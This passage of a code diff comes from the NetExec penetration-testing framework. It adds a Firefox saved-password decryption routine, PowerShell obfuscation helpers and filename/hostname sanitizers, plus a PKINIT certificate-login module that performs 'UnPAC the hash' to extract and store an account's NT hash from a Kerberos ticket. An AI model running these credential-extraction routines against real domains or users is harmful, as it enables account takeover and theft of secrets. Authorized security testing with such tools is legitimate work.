+        elif pbeAlgo == "1.2.840.113549.1.5.13":  # pkcs5 pbes2
+            assert str(decoded_item[0][0][1][0][0]) == "1.2.840.113549.1.5.12"
+            assert str(decoded_item[0][0][1][0][1][3][0]) == "1.2.840.113549.2.9"
+            assert str(decoded_item[0][0][1][1][0]) == "2.16.840.1.101.3.4.1.42"
+            # https://tools.ietf.org/html/rfc8018#page-23
+            entry_salt = decoded_item[0][0][1][0][1][0].asOctets()
+            iteration_count = int(decoded_item[0][0][1][0][1][1])
+            key_length = int(decoded_item[0][0][1][0][1][2])
+            assert key_length == 32
+
+            k = sha1(global_salt + master_password).digest()
+            key = pbkdf2_hmac("sha256", k, entry_salt, iteration_count, dklen=key_length)
+
+            # https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49
+            iv = b"\x04\x0e" + decoded_item[0][0][1][1][1].asOctets()
+            # 04 is OCTETSTRING, 0x0e is length == 14
+            encrypted_value = decoded_item[0][1].asOctets()
+            cipher = AES.new(key, AES.MODE_CBC, iv)
+            return cipher.decrypt(encrypted_value)

nxc/helpers/logger.py

@@ -1,9 +1,10 @@
 import os
 from termcolor import colored
+from nxc.paths import NXC_PATH
 
 
 def write_log(data, log_name):
-    logs_dir = os.path.join(os.path.expanduser("~/.nxc"), "logs")
+    logs_dir = os.path.join(NXC_PATH, "logs")
     with open(os.path.join(logs_dir, log_name), "w") as log_output:
         log_output.write(data)
 

nxc/helpers/misc.py

@@ -1,8 +1,16 @@
+from contextlib import suppress
+from enum import Enum
+import hashlib
 import random
 import string
 import re
 import inspect
 import os
+from unicodedata import normalize
+from termcolor import colored
+from ipaddress import ip_address
+from nxc.logger import nxc_logger
+from time import strftime, gmtime
 
 
 def identify_target_file(target_file):
@@ -21,8 +29,93 @@ def gen_random_string(length=10):
     return "".join(random.sample(string.ascii_letters, int(length)))
 
 
+def sanitize_dns(hostname, logger=nxc_logger):
+    """Return an untrusted hostname or domain as a safe, nonempty string."""
+    # Always provide a safe fallback, even for missing or unstringable input.
+    if hostname is None:
+        return "_"
+
+    try:
+        hostname = hostname.decode("utf-8", errors="surrogateescape") if isinstance(hostname, bytes) else str(hostname)
+    except Exception:
+        return "_"
+    if not hostname:
+        return "_"
+
+    # Replace path, configuration, formatting, whitespace, and control characters.
+    unsafe_characters = '<>:"/\\|?*{}[]=#;\''  # Portable paths, format strings, hosts files, and krb5.conf
+    sanitized = "".join(
+        character if character.isprintable()
+        and not character.isspace()
+        and character not in unsafe_characters
+        and all(
+            normalized_character.isprintable()
+            and not normalized_character.isspace()
+            and normalized_character not in unsafe_characters
+            for normalized_character in normalize("NFKC", character)
+        )
+        else "_"
+        for character in hostname
+    )
+
+    # Neutralize traversal segments and Windows-trimmed trailing dots.
+    if normalize("NFKC", sanitized) in (".", ".."):
+        sanitized = "_" * len(sanitized)
+    if sanitized.endswith(".") or normalize("NFKC", sanitized[-1]).endswith("."):
+        sanitized = f"{sanitized[:-1]}_"
+
+    # Bound filename length while retaining a stable identifier for long names.
+    if len(sanitized.encode("utf-8")) > 253:
+        suffix = f"_{hashlib.sha256(hostname.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
+        byte_length = 0
+        truncated = []
+        for character in sanitized:
+            character_length = len(character.encode("utf-8"))
+            if byte_length + character_length > 253 - len(suffix):
+                break
+            truncated.append(character)
+            byte_length += character_length
+        sanitized = f"{''.join(truncated)}{suffix}"
+
+    # Fail closed if a future change violates any output invariant.
+    normalized = normalize("NFKC", sanitized)
+    if (
+        not sanitized
+        or not normalized
+        or len(sanitized.encode("utf-8")) > 253
+        or normalized in (".", "..")
+        or normalized.endswith(".")
+        or any(
+            not character.isprintable()
+            or character.isspace()
+            or character in unsafe_characters
+            or any(
+                not normalized_character.isprintable()
+                or normalized_character.isspace()
+                or normalized_character in unsafe_characters
+                for normalized_character in normalize("NFKC", character)
+            )
+            for character in sanitized
+        )
+    ):
+        sanitized = "_"
+
+    # Report changed input without allowing logging failures to affect safety.
+    if sanitized != hostname:
+        received = ascii(hostname[:256])
+        result = ascii(sanitized)
+        if len(hostname) > 256 or len(received) > 256:
+            received = f"{received[:253]}..."
+        if len(result) > 256:
+            result = f"{result[:253]}..."
+        if logger is not None:
+            with suppress(Exception):
+                logger.fail(f"Unsafe hostname or domain received: {received}; using {result}")
+    return sanitized
+
+
 def validate_ntlm(data):
-    allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
+    allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
     return bool(allowed.match(data))
 
 
@@ -40,7 +133,7 @@ def called_from_cmd_args():
 # Stolen from https://github.com/pydanny/whichcraft/
 def which(cmd, mode=os.F_OK | os.X_OK, path=None):
     """Find the path which conforms to the given mode on the PATH for a command.
-    
+
     Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file.
     `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path.
     Note: This function was backported from the Python 3 source code.
@@ -77,3 +170,175 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
                 name = os.path.join(p, thefile)
                 if _access_check(name, mode):
                     return name
+
+
+def get_bloodhound_info():
+    """
+    Detect which BloodHound package is installed (regular or CE) and its version.
+
+    Returns
+    -------
+        tuple: (package_name, version, is_ce)
+            - package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None)
+            - version: Version string of the installed package (or None if not installed)
+            - is_ce: Boolean indicating if it's the Community Edition
+    """
+    import importlib.metadata
+    import importlib.util
+
+    # First check if any BloodHound package is available to import
+    if importlib.util.find_spec("bloodhound") is None:
+        return None, None, False
+
+    # Try to get version info from both possible packages
+    version = None
+    package_name = None
+    is_ce = False
+
+    # Check for bloodhound-ce first
+    try:
+        version = importlib.metadata.version("bloodhound-ce")
+        package_name = "bloodhound-ce"
+        is_ce = True
+    except importlib.metadata.PackageNotFoundError:
+        # Check for regular bloodhound
+        try:
+            version = importlib.metadata.version("bloodhound")
+            package_name = "bloodhound"
+
+            # Even when installed as 'bloodhound', check if it's actually the CE version
+            if version and ("ce" in version.lower() or "community" in version.lower()):
+                is_ce = True
+        except importlib.metadata.PackageNotFoundError:
+            # No bloodhound package found via metadata
+            pass
+
+    # In case we can import it but metadata is not working, check the module itself
+    if not version:
+        try:
+            import bloodhound
+            version = getattr(bloodhound, "__version__", "unknown")
+            package_name = "bloodhound"
+
+            # Check if it's CE based on version string
+            if "ce" in version.lower() or "community" in version.lower():
+                is_ce = True
+                package_name = "bloodhound-ce"
+        except ImportError:
+            pass
+
+    return package_name, version, is_ce
+
+
+def detect_if_ip(target):
+    try:
+        ip_address(target)
+        return True
+    except Exception:
+        return False
+
+
+def d2b(a):
+    """
+    Function used to convert password property flags from decimal to binary
+    format for easier interpretation of individual flag bits.
+    """
+    tbin = []
+    while a:
+        tbin.append(a % 2)
+        a //= 2
+
+    t2bin = tbin[::-1]
+    if len(t2bin) != 8:
+        for _x in range(6 - len(t2bin)):
+            t2bin.insert(0, 0)
+    return "".join([str(g) for g in t2bin])
+
+
+def convert(low, high, lockout=False):
+    """
+    Convert Windows FILETIME (64-bit) values to human-readable time strings.
+
+    Windows stores time intervals as 64-bit values representing 100-nanosecond
+    intervals since January 1, 1601. This function converts these values to
+    readable format like "30 days 5 hours 15 minutes".
+
+    Args:
+        low (int): Low 32 bits of the FILETIME value
+        high (int): High 32 bits of the FILETIME value
+        lockout (bool): If True, treats the value as a lockout duration (simpler conversion)
+
+    Returns:
+        str: Human-readable time string (e.g., "42 days 5 hours 30 minutes") or
+             special values like "Not Set", "None", or "[-] Invalid TIME"
+    """
+    time = ""
+    tmp = 0
+
+    if (low == 0 and high == -0x8000_0000) or (low == 0 and high == -0x8000_0000_0000_0000):
+        return "Not Set"
+    if low == 0 and high == 0:
+        return "None"
+
+    if not lockout:
+        if low != 0:
+            high = abs(high + 1)
+        else:
+            high = abs(high)
+            low = abs(low)
+
+        tmp = low + (high << 32)  # convert to 64bit int
+        tmp *= 1e-7  # convert to seconds
+    else:
+        tmp = abs(high) * (1e-7)
+
+    try:
+        minutes = int(strftime("%M", gmtime(tmp)))
+        hours = int(strftime("%H", gmtime(tmp)))
+        days = int(strftime("%j", gmtime(tmp))) - 1
+    except ValueError:
+        return "[-] Invalid TIME"
+
+    if days > 1:
+        time += f"{days} days "
+    elif days == 1:
+        time += f"{days} day "
+    if hours > 1:
+        time += f"{hours} hours "
+    elif hours == 1:
+        time += f"{hours} hour "
+    if minutes > 1:
+        time += f"{minutes} minutes "
+    elif minutes == 1:
+        time += f"{minutes} minute "
+    return time
+
+
+def parse_argument(argument: list) -> list:
+    """Parse input from an argparse argument, which can be either a value or a file containing values."""
+    parsed_items = []
+    for item in argument:
+        if os.path.isfile(item):
+            with open(item) as f:
+                parsed_items.extend(line.strip() for line in f if line.strip())
+        else:
+            parsed_items.append(item.strip())
+    return parsed_items
+
+
+def display_modules(args, modules):
+    for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
+        # Add category filter for module listing
+        if args.list_modules and args.list_modules.lower() != category.name.lower():
+            continue
+        if len([module for module in modules.values() if module["category"] == category]) > 0:
+            nxc_logger.highlight(colored(f"{category.name}", color, attrs=["bold"]))
+        for name, props in sorted(modules.items()):
+            if props["category"] == category:
+                nxc_logger.display(f"{name:<25} {props['description']}")
+
+
+class CATEGORY(Enum):
+    ENUMERATION = "Enumeration"
+    CREDENTIAL_DUMPING = "Credential Dumping"
+    PRIVILEGE_ESCALATION = "Privilege Escalation"

nxc/helpers/negotiate_parser.py

@@ -0,0 +1,96 @@
+# Parsing helpers for auth negotiation: NTLM challenges and TDS ERROR/INFO on MSSQL LOGIN7.
+# Original NTLM parsing from: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
+
+import struct
+
+from impacket import ntlm
+from impacket.smb3 import WIN_VERSIONS
+from impacket.tds import TDS_ERROR_TOKEN, TDS_INFO_TOKEN, TDS_INFO_ERROR
+import contextlib
+
+
+def parse_challenge(challange):
+    target_info = {
+        "hostname": None,
+        "dns_hostname": None,
+        "domain": None,
+        "os_version": None
+    }
+    challange = ntlm.NTLMAuthChallenge(challange)
+    av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
+    if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
+        with contextlib.suppress(Exception):
+            target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
+    if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None:
+        with contextlib.suppress(Exception):
+            target_info["dns_hostname"] = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode("utf-16le")
+    if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
+        with contextlib.suppress(Exception):
+            target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
+    if "Version" in challange.fields:
+        version = challange["Version"]
+        if len(version) >= 4:
+            major_version = version[0]
+            minor_version = version[1]
+            product_build = struct.unpack("<H", version[2:4])[0]
+            if product_build in WIN_VERSIONS:
+                target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
+            else:
+                target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
+    return target_info
+
+
+def decode_tds_info_error_msgtext(data, offset):
+    """Extract MsgText from a TDS ERROR (0xAA) or INFO (0xAB) token at *offset*.
+
+    Official spec: [MS-TDS] Tabular Data Stream Protocol (Microsoft Learn).
+    Token layout per MS-TDS 2.2.7.9 (INFO) / 2.2.7.10 (ERROR):
+        TokenType   BYTE        0xAA | 0xAB
+        Length      USHORT LE   byte count of the remaining fields
+        Number      LONG LE     error / info number
+        State       BYTE
+        Class       BYTE        severity
+        MsgText     US_VARCHAR  (2-byte LE length prefix + UTF-16LE)
+        ...         (ServerName, ProcName, LineNumber follow but are unused here)
+
+    The minimum *Length* value for a valid token is 8: Number(4) + State(1) +
+    Class(1) + MsgText length prefix(2, may be zero-length string).
+
+    References (Microsoft Learn, MS-TDS):
+        INFO: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/284bb815-d083-4ed5-b33a-bdc2492e322b
+        ERROR: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/9805e9fa-1f8b-4cf8-8f78-8d2602228635
+        Data packet stream tokens: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/f79bb5b8-5919-439a-a696-48064b78b091
+    """
+    remaining = len(data) - offset
+    if remaining < 3 or data[offset] not in (TDS_ERROR_TOKEN, TDS_INFO_TOKEN):
+        return None
+
+    # Length (USHORT LE) after TokenType, see MS-TDS INFO/ERROR links in docstring
+    payload_len = int.from_bytes(data[offset + 1 : offset + 3], "little")
+
+    if payload_len < 8 or remaining < 3 + payload_len:
+        return None
+    try:
+        token = TDS_INFO_ERROR(data[offset:])
+        text = token["MsgText"].decode("utf-16le").strip()
+    except Exception:
+        return None
+    return text or None
+
+
+def login7_integrated_auth_error_message(packet_data, data_after_login_header):
+    """Scan raw LOGIN7 response buffers for the first ERROR/INFO message.
+
+    When a server does not support Integrated Windows Authentication it replies
+    to the LOGIN7 NTLMSSP negotiate with a TDS error token instead of an
+    NTLMSSP challenge.  This helper locates the first ERROR (0xAA) or INFO
+    (0xAB) token in either the full packet or the payload after the 3-byte
+    LOGIN7 response header and returns its MsgText.
+    """
+    token_markers = (TDS_ERROR_TOKEN, TDS_INFO_TOKEN)
+    for buf in filter(None, (packet_data, data_after_login_header)):
+        for offset in (i for i in range(len(buf)) if buf[i] in token_markers):
+            msg = decode_tds_info_error_msgtext(buf, offset)
+            if msg:
+                return msg
+    return None

nxc/helpers/path.py

@@ -0,0 +1,107 @@
+import hashlib
+from pathlib import PurePosixPath
+import re
+from unicodedata import normalize
+
+
+def sanitize_path_component(name, max_bytes=255):
+    """Return one portable, bounded path component from untrusted input."""
+    # Reserve enough space for one character and the collision-resistant suffix.
+    if max_bytes < 14:
+        raise ValueError("max_bytes must be at least 14")
+
+    # Always provide a safe fallback, even for missing or unstringable input.
+    try:
+        name = name.decode("utf-8", errors="surrogateescape") if isinstance(name, bytes) else str(name) if name is not None else ""
+    except Exception:
+        name = ""
+    if not name:
+        return "_"
+
+    # Replace path, control, and Unicode-equivalent metacharacters.
+    unsafe_characters = '<>:"/\\|?*'  # Portable filename metacharacters
+    sanitized = "".join(
+        character if character.isprintable()
+        and character not in unsafe_characters
+        and all(
+            normalized_character.isprintable() and normalized_character not in unsafe_characters
+            for normalized_character in normalize("NFKC", character)
+        )
+        else "_"
+        for character in name
+    )
+
+    # Neutralize traversal-only names and Windows-trimmed trailing dots or spaces.
+    if normalize("NFKC", sanitized) in (".", ".."):
+        sanitized = "_" * len(sanitized)
+    while sanitized and (
+        sanitized[-1] == "."
+        or sanitized[-1].isspace()
+        or normalize("NFKC", sanitized[-1]).endswith(".")
+        or any(character.isspace() for character in normalize("NFKC", sanitized[-1]))
+    ):
+        sanitized = f"{sanitized[:-1]}_"
+
+    # Avoid Windows device names, including names followed by an extension.
+    normalized_stem = normalize("NFKC", sanitized).split(".", 1)[0].rstrip(" ").upper()
+    if normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem):
+        sanitized = f"_{sanitized}"
+
+    # Bound the byte length with a stable digest while preserving short extensions.
+    if len(sanitized.encode("utf-8")) > max_bytes:
+        digest = f"_{hashlib.sha256(name.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
+        extension = ""
+        extension_index = sanitized.rfind(".")
+        if (
+            extension_index > 0
+            and len(sanitized[extension_index:].encode("utf-8")) <= 32
+            and len(sanitized[extension_index:].encode("utf-8")) <= max_bytes - len(digest)
+        ):
+            extension = sanitized[extension_index:]
+            sanitized = sanitized[:extension_index]
+        byte_length = 0
+        truncated = []
+        for character in sanitized:
+            character_length = len(character.encode("utf-8"))
+            if byte_length + character_length > max_bytes - len(digest) - len(extension.encode("utf-8")):
+                break
+            truncated.append(character)
+            byte_length += character_length
+        sanitized = f"{''.join(truncated)}{digest}{extension}"
+
+    # Fail closed if a future change violates any output invariant.
+    normalized = normalize("NFKC", sanitized)
+    normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper()
+    if (
+        not sanitized
+        or not normalized
+        or len(sanitized.encode("utf-8")) > max_bytes
+        or normalized in (".", "..")
+        or normalized.endswith(".")
+        or normalized[-1].isspace()
+        or normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"}
+        or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem)
+        or any(
+            not character.isprintable()
+            or character in unsafe_characters
+            or any(
+                not normalized_character.isprintable() or normalized_character in unsafe_characters
+                for normalized_character in normalize("NFKC", character)
+            )
+            for character in sanitized
+        )
+    ):
+        return "_"
+    return sanitized
+
+
+def sanitize_filename(name: str) -> str:
+    """Strip path traversal components from an SMB filename.
+
+    Follows the pattern from spider_plus.py — filters '..' and '.' from
+    PurePosixPath.parts to prevent directory traversal attacks from
+    malicious SMB servers.
+    """
+    parts = PurePosixPath(name.replace("\\", "/")).parts
+    clean = [p for p in parts if p not in ("..", ".", "/")]
+    return str(PurePosixPath(*clean)) if clean else ""

nxc/helpers/pfx.py

@@ -0,0 +1,216 @@
+# Certificate authentication for nxc: PKINIT (RFC 4556) through impacket, plus UnPAC the hash
+#
+# References:
+#     PKINIT: https://www.rfc-editor.org/rfc/rfc4556
+#     U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
+#
+# Authors:
+#  Azox (@azoxlpf) for the PKINIT implementation, in impacket and in nxc
+#  Dirk-jan Mollema (@_dirkjan) for the original UnPAC the hash implementation
+
+import base64
+import datetime
+import os
+import random
+import tempfile
+
+from binascii import hexlify
+
+from pyasn1.codec.der import decoder, encoder
+from pyasn1.error import PyAsn1Error
+from pyasn1.type.univ import noValue
+
+from impacket.dcerpc.v5.rpcrt import TypeSerialization1
+from impacket.krb5 import constants
+from impacket.krb5.asn1 import AD_IF_RELEVANT, AP_REQ, AS_REP, Authenticator, EncTicketPart, TGS_REP, TGS_REQ, Ticket as TicketAsn1, seq_set, seq_set_iter
+from impacket.krb5.ccache import CCache
+from impacket.krb5.crypto import InvalidChecksum, _enctype_table
+from impacket.krb5.kerberosv5 import KerberosError, sendReceive
+from impacket.krb5.pac import NTLM_SUPPLEMENTAL_CREDENTIAL, PACTYPE, PAC_CREDENTIAL_DATA, PAC_CREDENTIAL_INFO, PAC_INFO_BUFFER
+from impacket.krb5.pkinit import PKINITCredentials, PKINITError, getKerberosTGTPKINIT
+from impacket.krb5.types import KerberosTime, Principal, Ticket
+
+from nxc.helpers.path import sanitize_path_component
+from nxc.paths import NXC_PATH, TMP_PATH
+
+
+def pkinit_credentials(args):
+    """Load the client certificate and its private key as the PKINIT credentials impacket expects"""
+    if args.pfx_cert:
+        return PKINITCredentials.fromPFX(args.pfx_cert, args.pfx_pass)
+
+    if args.pfx_base64:
+        with open(args.pfx_base64, "rb") as pfx_base64_file:
+            pfxdata = base64.b64decode(pfx_base64_file.read())
+        return PKINITCredentials.fromPFXData(pfxdata, args.pfx_pass, source=f"the base64 PFX file {args.pfx_base64}")
+
+    if args.pem_cert and args.pem_key:
+        return PKINITCredentials.fromPEM(args.pem_cert, args.pem_key, args.pfx_pass)
+
+    return None
+
+
+def read_nt_hash_from_pac(connection, enc_ticket_part, reply_key):
+    """Return the NT hash held by the PAC_CREDENTIAL_INFO of a ticket, or None when the PAC carries none"""
+    decoded_ticket_part = decoder.decode(enc_ticket_part, asn1Spec=EncTicketPart())[0]
+    ad_if_relevant = decoder.decode(decoded_ticket_part["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[0]
+    pac_type = PACTYPE(ad_if_relevant[0]["ad-data"].asOctets())
+
+    buffers = pac_type["Buffers"]
+    for _ in range(pac_type["cBuffers"]):
+        info_buffer = PAC_INFO_BUFFER(buffers)
+        buffers = buffers[len(info_buffer):]
+        connection.logger.debug(f"PAC buffer type {info_buffer['ulType']}")
+        if info_buffer["ulType"] != 2:   # PAC_CREDENTIAL_INFO
+            continue
+
+        credential_info = PAC_CREDENTIAL_INFO(pac_type["Buffers"][info_buffer["Offset"] - 8:][:info_buffer["cbBufferSize"]])
+        cipher = _enctype_table[credential_info["EncryptionType"]]
+        # Key usage 16: the PAC credential info, encrypted with the AS reply key
+        credential_data = cipher.decrypt(reply_key, 16, credential_info["SerializedData"])
+        serialization_header = TypeSerialization1(credential_data)
+        # Skip the 4 bytes of the ReferentID of the pointer following the header
+        credentials = PAC_CREDENTIAL_DATA(credential_data[len(serialization_header) + 4:])
+        for credential in credentials["Credentials"]:
+            supplemental_credential = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(credential["Credentials"]))
+            return hexlify(supplemental_credential["NtPassword"]).decode()
+
+    connection.logger.fail("The PAC holds no PAC_CREDENTIAL_INFO: the account has no NT hash stored, or the TGT did not come from PKINIT")
+    return None
+
+
+def unpac_the_hash(connection, username, tgt, cipher, reply_key, session_key):
+    """Recover the NT hash of the account the TGT belongs to, through a U2U service ticket to itself
+
+    Only a PKINIT AS-REP carries a PAC_CREDENTIAL_INFO, and the KDC encrypts it with the AS reply key,
+    which the TGT does not expose: it has to be read from a ticket requested with that very TGT.
+    Returns None, after logging why, when the hash cannot be recovered
+    """
+    decoded_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0]
+    ticket = Ticket()
+    ticket.from_asn1(decoded_tgt["ticket"])
+    realm = str(decoded_tgt["crealm"])
+    now = datetime.datetime.now(datetime.UTC)
+
+    client_name = Principal()
+    client_name.from_asn1(decoded_tgt, "crealm", "cname")
+
+    authenticator = Authenticator()
+    authenticator["authenticator-vno"] = 5
+    authenticator["crealm"] = realm
+    seq_set(authenticator, "cname", client_name.components_to_asn1)
+    authenticator["cusec"] = now.microsecond
+    authenticator["ctime"] = KerberosTime.to_asn1(now)
+    connection.logger.debug(f"U2U authenticator: {authenticator.prettyPrint()}")
+
+    ap_req = AP_REQ()
+    ap_req["pvno"] = 5
+    ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+    ap_req["ap-options"] = constants.encodeFlags([])
+    seq_set(ap_req, "ticket", ticket.to_asn1)
+    ap_req["authenticator"] = noValue
+    ap_req["authenticator"]["etype"] = cipher.enctype
+    # Key usage 7: the AP-REQ authenticator of a PA-TGS-REQ, encrypted with the TGT session key
+    ap_req["authenticator"]["cipher"] = cipher.encrypt(session_key, 7, encoder.encode(authenticator), None)
+
+    tgs_req = TGS_REQ()
+    tgs_req["pvno"] = 5
+    tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
+    tgs_req["padata"] = noValue
+    tgs_req["padata"][0] = noValue
+    tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
+    tgs_req["padata"][0]["padata-value"] = encoder.encode(ap_req)
+
+    req_body = seq_set(tgs_req, "req-body")
+    req_body["kdc-options"] = constants.encodeFlags([constants.KDCOptions.forwardable.value, constants.KDCOptions.renewable.value, constants.KDCOptions.canonicalize.value, constants.KDCOptions.enc_tkt_in_skey.value])
+    req_body["realm"] = realm
+    seq_set(req_body, "sname", Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value).components_to_asn1)
+    req_body["till"] = KerberosTime.to_asn1(now + datetime.timedelta(days=1))
+    req_body["nonce"] = random.getrandbits(31)
+    seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
+    seq_set_iter(req_body, "additional-tickets", (ticket.to_asn1(TicketAsn1()),))
+
+    connection.logger.info("Requesting a U2U service ticket to ourselves to read the PAC")
+    try:
+        response = sendReceive(encoder.encode(tgs_req), connection.domain, connection.kdcHost)
+        tgs_rep = decoder.decode(response, asn1Spec=TGS_REP())[0]
+        connection.logger.debug(f"U2U TGS-REP: {tgs_rep.prettyPrint()}")
+        # Key usage 2: with enc-tkt-in-skey the ticket is encrypted with the session key of the TGT sent along
+        enc_ticket_part = cipher.decrypt(session_key, 2, tgs_rep["ticket"]["enc-part"]["cipher"])
+        return read_nt_hash_from_pac(connection, enc_ticket_part, reply_key)
+    except (KerberosError, InvalidChecksum, PyAsn1Error, OSError, IndexError, KeyError) as e:   # IndexError: empty AD-IF-RELEVANT, KeyError: unknown etype
+        connection.logger.fail(f"Failed to unPAC the hash: {e}")
+        return None
+
+
+def pfx_auth(self, domain, username):
+    """Authenticate with a client certificate through PKINIT, then optionally unPAC the NT hash"""
+    if not self.kdcHost:
+        self.logger.fail(f"Could not resolve KDC host for domain {domain}. Use --kdcHost to specify the domain controller IP")
+        return False
+
+    self.logger.info("Loading certificate and key from file")
+    try:
+        credentials = pkinit_credentials(self.args)
+    except FileNotFoundError as e:
+        self.logger.fail(f"Certificate or key file not found: {e.filename}")
+        return False
+    except (PKINITError, ValueError) as e:
+        self.logger.fail(f"Failed to load certificate/key: {e}")
+        return False
+
+    if credentials is None:
+        self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
+        return False
+
+    self.logger.info(f"Requesting TGT for {username}@{domain} with the certificate")
+    client_name = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+    try:
+        tgt, cipher, reply_key, session_key = getKerberosTGTPKINIT(client_name, domain, credentials, kdcHost=self.kdcHost)
+    except (PKINITError, KerberosError, OSError) as e:
+        self.logger.fail(f"Failed to get a TGT with the certificate: {e}")
+        return False
+
+    ccache = CCache()
+    ccache.fromTGT(tgt, reply_key, session_key)
+    basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache")
+    ccache_path = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
+    ccache.saveFile(ccache_path)
+    self.logger.info(f"Saved TGT to {ccache_path}")
+
+    if self.protocol == "winrm":   # nxc winrm has no Kerberos login: log in over NTLM with the unPACed hash, as before
+        nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
+        return bool(nthash) and self.hash_login(domain, username, nthash)
+
+    # Impacket reads the TGT of a Kerberos login from the cache this variable points at, for the whole process
+    os.environ["KRB5CCNAME"] = ccache_path
+    self.use_kcache = True
+    logged_in = self.kerberos_login(domain, username, "", "", "", self.kdcHost, True)
+
+    if self.protocol == "smb" and self.args.unpac:
+        nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
+        if nthash:
+            self.logger.highlight(f"{domain}\\{username} NT hash: {nthash}")
+            self.db.add_credential("hash", domain, username, nthash)
+
+    return logged_in
+
+
+def certificate_options(args):
+    """Return the LDAPConnection certificate options for the command line material, plus a temporary file the caller must delete."""
+    if args.pfx_cert:
+        return {"pfxfile": args.pfx_cert, "pfxpass": args.pfx_pass}, None
+
+    if args.pem_cert and args.pem_key:
+        return {"certfile": args.pem_cert, "keyfile": args.pem_key}, None
+
+    if args.pfx_base64:
+        with open(args.pfx_base64, "rb") as pfx_base64_file:
+            pfxdata = base64.b64decode(pfx_base64_file.read())
+        # impacket loads the bundle from a path, so the decoded PFX has to hit the disk
+        handle, pfx_path = tempfile.mkstemp(suffix=".pfx", dir=TMP_PATH)
+        with os.fdopen(handle, "wb") as pfx_file:
+            pfx_file.write(pfxdata)
+        return {"pfxfile": pfx_path, "pfxpass": args.pfx_pass}, pfx_path
+
+    raise ValueError("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")

nxc/helpers/powershell.py

@@ -13,6 +13,22 @@ import random
 obfuscate_ps_scripts = False
 
 
+def replace_singles(s):
+    """Replaces single quotes with a double quote
+    We do this because quoting is very important in PowerShell, and we are doing multiple layers:
+    Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
+
+    Args:
+    ----
+        s (str): The string to replace single quotes in.
+
+    Returns:
+    -------
+        str: Original string with single quotes replaced with double.
+    """
+    return s.replace("'", r"\"")
+
+
 def get_ps_script(path):
     """Generates a full path to a PowerShell script given a relative path.
 
@@ -42,19 +58,6 @@ def encode_ps_command(command):
     return b64encode(command.encode("UTF-16LE")).decode()
 
 
-def is_powershell_installed():
-    """
-    Check if PowerShell is installed.
-
-    Returns
-    -------
-        bool: True if PowerShell is installed, False otherwise.
-    """
-    if which("powershell"):
-        return True
-    return False
-
-
 def obfs_ps_script(path_to_script):
     """
     Obfuscates a PowerShell script.
@@ -76,7 +79,7 @@ def obfs_ps_script(path_to_script):
     obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
     obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
 
-    if is_powershell_installed() and obfuscate_ps_scripts:
+    if bool(which("powershell")) and obfuscate_ps_scripts:
         if os.path.exists(obfs_ps_script):
             nxc_logger.display("Using cached obfuscated Powershell script")
             with open(obfs_ps_script) as script:
@@ -102,97 +105,71 @@ def obfs_ps_script(path_to_script):
             and debug statements from a PowerShell source file.
             """
             # strip block comments
-            stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
+            stripped_code = re.sub(re.compile(r"<#.*?#>", re.DOTALL), "", script.read())
             # strip blank lines, lines starting with #, and verbose/debug statements
             return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
